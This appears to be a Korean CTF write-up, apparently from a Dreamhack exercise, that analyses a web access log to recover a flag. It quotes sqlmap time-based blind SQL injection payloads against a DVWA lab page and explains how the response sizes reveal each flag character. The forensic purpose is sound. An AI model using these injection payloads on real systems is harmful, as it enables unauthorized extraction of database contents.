172.20.0.1 -- [26/Apr/2024:17:38:33+0000] "GET /vulnerabilities/sqli/?id=1).,(,)"('(&Submit=Submit HTTP/1.1" 200 688 "http://localhost:4280/vulnerabilities/sqli/" "sqlmap/1.2.4#stable(http://sqlmap.org)"
172.20.0.1--[26/Apr/2024:17:50:55+0000]"GET/vulnerabilities/sqli/?id=1' AND 9329=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIMIT 0,1),1,1))>68),SLEEP(1),9329)-- QEcW&Submit=SubmitHTTP/1.1"2001804"-""sqlmap/1.2.4#stable(http://sqlmap.org)"
172.20.0.1--[26/Apr/2024:17:50:55+0000]"GET/vulnerabilities/sqli/?id=1' AND 9329=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIMIT 0,1),1,1))>66),SLEEP(1),9329)-- QEcW&Submit=SubmitHTTP/1.1"2001664"-""sqlmap/1.2.4#stable(http://sqlmap.org)"
172.20.0.1--[26/Apr/2024:17:50:56+0000]"GET/vulnerabilities/sqli/?id=1' AND 9329=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIMIT 0,1),1,1))>67),SLEEP(1),9329)-- QEcW&Submit=SubmitHTTP/1.1"2001664"-""sqlmap/1.2.4#stable(http://sqlmap.org)"
172.20.0.1--[26/Apr/2024:17:50:57+0000]"GET/vulnerabilities/sqli/?id=1' AND 9329=IF((ORD(MID((SELECT IFNULL(CAST(`value` AS CHAR),0x20) FROM dvwa.flag ORDER BY id LIMIT 0,1),1,1))!=68),SLEEP(1),9329)-- QEcW&Submit=SubmitHTTP/1.1"2001806"-""sqlmap/1.2.4#stable(http://sqlmap.org)"
응답 바이트크기가 1800대가 대부분인데 갑자기 1600대 반환이 보였다
68보다 크다에 1804
66보다 크다에 1664
67보다 크다에 1664
68이 아니다에 1806
즉 67 혹은 68인 상태
ASCLL 코드에서 67은 C 68은 D
우리는 FLAG 포맷이 DH{}인걸 아니까
즉 68 = D
더욱 중요한 사실은 != 기호가 있을 때 정답을 유추할 수 있다는 점입니다. 아래와 같이 정규표현식을 구성합니다. Notepad++의 정규식 검색을 이용한 결과, 아래와 같이 24개의 결과가 일치됩니다.
dvwa.flag ORDER BY id LIMIT 0,1),\d{1,2},1))!=\d{2,3}
출처: 드림핵 강의 중
근데 난 정규표현식 검색이 안됨;;;
변수 발생..
https://velog.io/@rhdmstnrk/access-log
68 72 123 97 110 65 49 121 122 49 110 71 86 101 51 121 66 49 57 76 48 103 125
요걸 문자열로 변환하면
DH{anA1yz1nGVe3yB19L0g}